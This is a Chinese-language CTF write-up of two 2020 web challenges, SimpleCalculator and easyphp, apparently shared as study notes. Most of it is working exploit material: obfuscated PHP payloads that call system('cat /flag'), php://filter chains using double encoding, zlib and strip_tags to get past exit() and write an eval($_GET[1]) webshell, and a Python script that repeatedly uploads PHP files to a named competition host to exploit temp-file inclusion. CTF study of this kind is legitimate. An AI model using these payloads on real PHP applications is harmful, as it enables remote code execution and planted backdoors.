[2020国赛/工业互联网]SimpleCalculator
时间:2020年10月24日
题目来源:2020国赛&工业互联网
解题过程: 打开题目是一个计算器,并且支持众多php函数(暗示代码执行),然后fuzz了一下,过滤了超多函数,基本上没有可以用的函数。
在大师傅的提醒下,大概可以用很多思路,国赛lovemath,rctf的calc,构造$_GET等。
国赛当天试了试,由于不熟练而且后面时间不够了就没做出来。
工业互联网又遇到了,雨晴姐姐直接用凯哥的payload打了:
?search=$%8F=~%8C%86%8C%8B%9A%92;$%8E=~%9C%9E%8B%DF%D0%99%93%9E%98;$%8F($%8E);
因为本题没有限制高位unicode,所以取反操作可以实现。
在本地测试了一下,
$%8F的值是echo urlencode(~'system')."\n";
$%8E的值是echo urlencode(~'cat /flag')."\n";
下面是另外一个师傅的payload:
?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
说真的,看了wp都觉得不难,但是自己真正做的时候又是另外一回事了。
[2020工业互联网]easyphp
时间:2020年10月24日
题目来源:工业互联网
解题过程:文件包含。用?page=php://filter/convert.base64-encode/resource=index.php读取一波源码:
这题是WMCTF签到题原题,官方WP在这里
官方给出了3种解决方案:
1.二次编码绕过
file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的,不过我们在服务端ban了%25(用%25太简单了)所以测试%25被ban后就可以写个脚本跑一下字符,构造一些过滤的字符就可以利用正常的姿势绕过。知道可以用二次编码绕过了,可以简单构造一下参见的payload即可,可参考我之前写的文章中的一些简单的payload: https://cyc1e183.github.io/2020/04/03/关于file_put_contents的一些小测试/
<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php
#Cyc1e.php
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc
注 :payload放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的)。
2.过滤器绕过
题目中过滤的过滤器有
/iconv|UCS|UTF|rot|quoted|base64/
预留了zlib、bzip2、string等过滤器, php:filter
支持使用多个过滤器,所以可以利用 zlib
的 zlib.deflate
和 zlib.inflate
来做,压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间操作时候会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php
当然,也是可以通过构造单个 zlib.inflate
解压字符,通过 zlib.deflate
压缩来构造shell,这里就不多说了。
3.爆破临时文件
环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以老问题,利用string.strip_tags会发生段错误,这时候上传一个shell会以临时文件的形式保存在/tmp中,利用require_once包含getshell即可(用一次就会被覆盖,所以直接反弹shell或者写马就行)。因为爆破的基数太大了,所以这个是一个最不好的解作为备选解,但是在比赛中,太多人同时爆破形成了DDOS,服务器也承受不住,所以我们选择封堵这条路(莫怪)。简单放下生成临时文件的脚本(网上就有)
import requests
import string
import itertools
charset = string.digits + string.letters
host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e
def generate_tmp_files():
file_content = '<?php system("xxxxxxxx");?>'
phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % (
base_url)
print phpinfo_url
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)
if __name__ == "__main__":
generate_tmp_files()
这里我开始找到官方wp的时候眼瞎了,没看到直接的payload,然后找到了Nu1L的wp,他们是用的条件竞争,但是没跑出来。。。人啥傻了!
这里解释一下方法2的绕过exit()的方法:
其实这道题又和上面wmctf 的有一点不一样,这题过滤了wmctf的payload中的string.tolower,所以这题有效payload如下:
php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=123.php
其中URL编码的payload。以下获取。?>经过targs就会删掉exit。然后再经过zlib解压。得到一句话
<?php
file_put_contents('php://filter/write=zlib.deflate/resource=1.php','?><?php eval($_GET[1]);?>');
var_dump(urlencode(file_get_contents('1.php')));
学到了许多233333